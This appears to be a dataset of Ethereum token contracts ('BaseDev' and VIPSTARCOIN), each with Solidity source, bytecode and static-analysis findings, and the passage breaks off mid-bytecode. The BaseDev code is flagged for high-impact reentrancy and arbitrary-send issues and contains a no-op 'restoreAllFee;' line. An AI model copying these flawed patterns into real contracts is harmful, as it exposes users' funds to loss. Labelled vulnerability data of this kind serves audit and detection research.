} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; constructor() { address msgSender = _msgSender(); _owner = msgSender; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract BaseDev is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BaseDev"; string private constant _symbol = "beDEV"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 7000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private cooldown; address payable private _buyBackBurn; address payable private _marketing; address payable private _development; address payable private _dev2; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool public tradeAllowed = false; bool private liquidityAdded = false; bool private inSwap = false; bool public swapEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _reflection = 3; uint256 private _fee = 12; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4) { _buyBackBurn = addr1; _dev2 = addr2; _marketing = addr3; _development = addr4; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_buyBackBurn] = true; _isExcludedFromFee[_development] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function enableTrading(bool _bool) external onlyOwner { tradeAllowed = _bool; } function setExcludedFrom(address _address, bool _bool) external onlyOwner{ _isExcludedFromFee[_address] = _bool; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; liquidityAdded = true; _maxTxAmount = 140000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradeAllowed); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(cooldown[to] < block.timestamp); uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.div(20)); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (30 seconds); _fee = 12; _reflection = 3; } uint256 contractTokenBalance = balanceOf(address(this)); uint impactLimitFive = balanceOf(uniswapV2Pair).div(20); if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(amount <= impactLimitFive); require(cooldown[from] < block.timestamp); uint initialBalance = address(this).balance; if(contractTokenBalance > impactLimitFive){ contractTokenBalance = impactLimitFive; } swapTokensForEth(contractTokenBalance); uint newBalance = address(this).balance; uint distributeETHBalance = newBalance.sub(initialBalance); if (distributeETHBalance > 0) { sendETHToFee(distributeETHBalance); } _fee = 17; _reflection = 3; } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function removeAllFee() private { if (_reflection == 0 && _fee == 0 ) return; _reflection = 0; _fee = 0; } function restoreAllFee() private { _reflection = 3; _fee = 12; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(amount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _fee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _marketing.transfer(amount.div(20).mul(4)); _development.transfer((amount.div(20).mul(4)).sub(2)); _buyBackBurn.transfer(amount.div(20).mul(10)); _dev2.transfer(amount.div(20).mul(2)); } receive() external payable {} }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063c3c8cd8011610064578063c3c8cd80146103d3578063d543dbeb146103e8578063dd62ed3e14610412578063e8078d941461044d578063f275f64b146104625761011f565b806370a08231146103285780637a32bae41461035b5780638da5cb5b1461037057806395d89b4114610385578063a9059cbb1461039a5761011f565b8063313ce567116100e7578063313ce567146102655780633898e4a31461029057806349bd5a5e146102cd5780636ddd1713146102fe5780636fc3eaec146103135761011f565b806306fdde0314610124578063095ea7b3146101ae57806318160ddd146101fb57806323b872dd146102225761011f565b3661011f57005b600080fd5b34801561013057600080fd5b5061013961048e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ba57600080fd5b506101e7600480360360408110156101d157600080fd5b506001600160a01b0381351690602001356104af565b604080519115158252519081900360200190f35b34801561020757600080fd5b506102106104cd565b60408051918252519081900360200190f35b34801561022e57600080fd5b506101e76004803603606081101561024557600080fd5b506001600160a01b038135811691602081013590911690604001356104d3565b34801561027157600080fd5b5061027a61055a565b6040805160ff9092168252519081900360200190f35b34801561029c57600080fd5b506102cb600480360360408110156102b357600080fd5b506001600160a01b038135169060200135151561055f565b005b3480156102d957600080fd5b506102e26105e2565b604080516001600160a01b039092168252519081900360200190f35b34801561030a57600080fd5b506101e76105f1565b34801561031f57600080fd5b506102cb610601565b34801561033457600080fd5b506102106004803603602081101561034b57600080fd5b50356001600160a01b0316610666565b34801561036757600080fd5b506101e7610688565b34801561037c57600080fd5b506102e2610698565b34801561039157600080fd5b506101396106a7565b3480156103a657600080fd5b506101e7600480360360408110156103bd57600080fd5b506001600160a01b0381351690602001356106c6565b3480156103df57600080fd5b506102cb6106da565b3480156103f457600080fd5b506102cb6004803603602081101561040b57600080fd5b5035610748565b34801561041e57600080fd5b506102106004803603604081101561043557600080fd5b506001600160a01b038135811691602001351661084f565b34801561045957600080fd5b506102cb61087a565b34801561046e57600080fd5b506102cb6004803603602081101561048557600080fd5b50351515610bfb565b6040805180820190915260078152662130b9b2a232bb60c91b602082015290565b60006104c36104bc610c71565b8484610c75565b5060015b92915050565b60035490565b60006104e0848484610d61565b610550846104ec610c71565b61054b85604051806060016040528060288152602001611a25602891396001600160a01b038a1660009081526006602052604081209061052a610c71565b6001600160a01b0316815260208101919091526040016000205491906110f8565b610c75565b5060019392505050565b600990565b610567610c71565b6000546001600160a01b039081169116146105b7576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4d833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b600e546001600160a01b031681565b600e54600160b81b900460ff1681565b610609610c71565b6000546001600160a01b03908116911614610659576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4d833981519152604482015290519081900360640190fd5b476106638161118f565b50565b6001600160a01b0381166000908152600160205260408120546104c7906112c3565b600e54600160a01b900460ff1681565b6000546001600160a01b031690565b6040805180820190915260058152643132a222ab60d91b602082015290565b60006104c36106d3610c71565b8484610d61565b6106e2610c71565b6000546001600160a01b03908116911614610732576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4d833981519152604482015290519081900360640190fd5b600061073d30610666565b905061066381611323565b610750610c71565b6000546001600160a01b039081169116146107a0576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4d833981519152604482015290519081900360640190fd5b600081116107f5576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610815606461080f836003546114f290919063ffffffff16565b9061154b565b600f81905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b610882610c71565b6000546001600160a01b039081169116146108d2576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4d833981519152604482015290519081900360640190fd5b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905560035490916109169130916001600160a01b031690610c75565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561094f57600080fd5b505afa158015610963573d6000803e3d6000fd5b505050506040513d602081101561097957600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156109c957600080fd5b505afa1580156109dd573d6000803e3d6000fd5b505050506040513d60208110156109f357600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610a4557600080fd5b505af1158015610a59573d6000803e3d6000fd5b505050506040513d6020811015610a6f57600080fd5b5051600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610aa181610666565b600080610aac610698565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610b1757600080fd5b505af1158015610b2b573d6000803e3d6000fd5b50505050506040513d6060811015610b4257600080fd5b5050600e805460ff60a81b1960ff60b81b19909116600160b81b1716600160a81b1790819055680796e3ea3f8ab00000600f55600d546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610bcc57600080fd5b505af1158015610be0573d6000803e3d6000fd5b505050506040513d6020811015610bf657600080fd5b505050565b610c03610c71565b6000546001600160a01b03908116911614610c53576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4d833981519152604482015290519081900360640190fd5b600e8054911515600160a01b0260ff60a01b19909216919091179055565b3390565b6001600160a01b038316610cba5760405162461bcd60e51b8152600401808060200182810382526024815260200180611abb6024913960400191505060405180910390fd5b6001600160a01b038216610cff5760405162461bcd60e51b81526004018080602001828103825260228152602001806119e26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610da65760405162461bcd60e51b8152600401808060200182810382526025815260200180611a966025913960400191505060405180910390fd5b6001600160a01b038216610deb5760405162461bcd60e51b81526004018080602001828103825260238152602001806119956023913960400191505060405180910390fd5b60008111610e2a5760405162461bcd60e51b8152600401808060200182810382526029815260200180611a6d6029913960400191505060405180910390fd5b6001600160a01b03821660009081526007602052604090205460ff16158015610e6c57506001600160a01b03831660009081526007602052604090205460ff16155b1561109b57600e54600160a01b900460ff16610e8757600080fd5b600e546001600160a01b038481169116148015610eb25750600d546001600160a01b03838116911614155b8015610ed757506001600160a01b03821660009081526007602052604090205460ff16155b15610f6a576001600160a01b0382166000908152600860205260409020544211610f0057600080fd5b6000610f0b83610666565b600354909150610f1c90601461154b565b610f26838361158d565b1115610f3157600080fd5b600f54821115610f4057600080fd5b506001600160a01b0382166000908152600860205260409020601e42019055600c60115560036010555b6000610f7530610666565b600e54909150600090610f979060149061080f906001600160a01b0316610666565b600e54909150600160b01b900460ff16158015610fc25750600e546001600160a01b03868116911614155b8015610fd75750600e54600160b81b900460ff165b8015610ffc57506001600160a01b03841660009081526007602052604090205460ff16155b801561102157506001600160a01b03851660009081526007602052604090205460ff16155b15611098578083111561103357600080fd5b6001600160a01b038516600090815260086020526040902054421161105757600080fd5b4781831115611064578192505b61106d83611323565b47600061107a82846115e7565b9050801561108b5761108b8161118f565b5050601180555060036010555b50505b6001600160a01b03831660009081526007602052604090205460019060ff16806110dd57506001600160a01b03831660009081526007602052604090205460ff165b156110e6575060005b6110f284848484611629565b50505050565b600081848411156111875760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561114c578181015183820152602001611134565b50505050905090810190601f1680156111795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600a546001600160a01b03166108fc6111b460046111ae85601461154b565b906114f2565b6040518115909202916000818181858888f193505050501580156111dc573d6000803e3d6000fd5b50600b546001600160a01b03166108fc611207600261120160046111ae87601461154b565b906115e7565b6040518115909202916000818181858888f1935050505015801561122f573d6000803e3d6000fd5b506009546001600160a01b03166108fc61124f600a6111ae85601461154b565b6040518115909202916000818181858888f19350505050158015611277573d6000803e3d6000fd5b50600c546001600160a01b03166108fc61129760026111ae85601461154b565b6040518115909202916000818181858888f193505050501580156112bf573d6000803e3d6000fd5b5050565b60006004548211156113065760405162461bcd60e51b815260040180806020018281038252602a8152602001806119b8602a913960400191505060405180910390fd5b6000611310611655565b905061131c838261154b565b9392505050565b600e805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136557fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113b957600080fd5b505afa1580156113cd573d6000803e3d6000fd5b505050506040513d60208110156113e357600080fd5b50518151829060019081106113f457fe5b6001600160a01b039283166020918202929092010152600d5461141a9130911684610c75565b600d5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156114a0578181015183820152602001611488565b505050509050019650505050505050600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b5050600e805460ff60b01b1916905550505050565b600082611501575060006104c7565b8282028284828161150e57fe5b041461131c5760405162461bcd60e51b8152600401808060200182810382526021815260200180611a046021913960400191505060405180910390fd5b600061131c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611678565b60008282018381101561131c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061131c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f8565b80611636576116366116dd565b611641848484611704565b806110f2576110f26003601055600c601155565b60008060006116626117f9565b9092509050611671828261154b565b9250505090565b600081836116c75760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561114c578181015183820152602001611134565b5060008385816116d357fe5b0495945050505050565b6010541580156116ed5750601154155b156116f757611702565b600060108190556011555b565b60008060008060008061171687611830565b6001600160a01b038f16600090815260016020526040902054959b5093995091975095509350915061174890876115e7565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611777908661158d565b6001600160a01b0389166000908152600160205260409020556117998161188d565b6117a384836118d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600454600354600091829161180e828261154b565b8210156118265760045460035493509350505061182c565b90925090505b9091565b600080600080600080600080600061184d8a6010546011546118fb565b925092509250600061185d611655565b905060008060006118708e878787611944565b919e509c509a509598509396509194505050505091939550919395565b6000611897611655565b905060006118a583836114f2565b306000908152600160205260409020549091506118c2908261158d565b30600090815260016020526040902055505050565b6004546118e490836115e7565b6004556005546118f4908261158d565b6005555050565b600080808061190f606461080f89896114f2565b90506000611922606461080f8a896114f2565b90506000611934826112018b866115e7565b9992985090965090945050505050565b600080808061195388866114f2565b9050600061196188876114f2565b9050600061196f88886114f2565b905060006119818261120186866115e7565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b429eca281edc1ce194ebe6545cf1b8a037ae240b332bdd16544658aec1c57d464736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,161
0xed6cd75aac7db5abbf382673dfe76e27c7399150
pragma solidity ^0.4.23; /* * Creator: VIPS (VIPSTARCOIN) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * VIPS token smart contract. */ contract VIPSToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 60000000000 * (10**8); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function VIPSToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "VIPSTARCOIN"; string constant public symbol = "VIPS"; uint8 constant public decimals = 8; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ff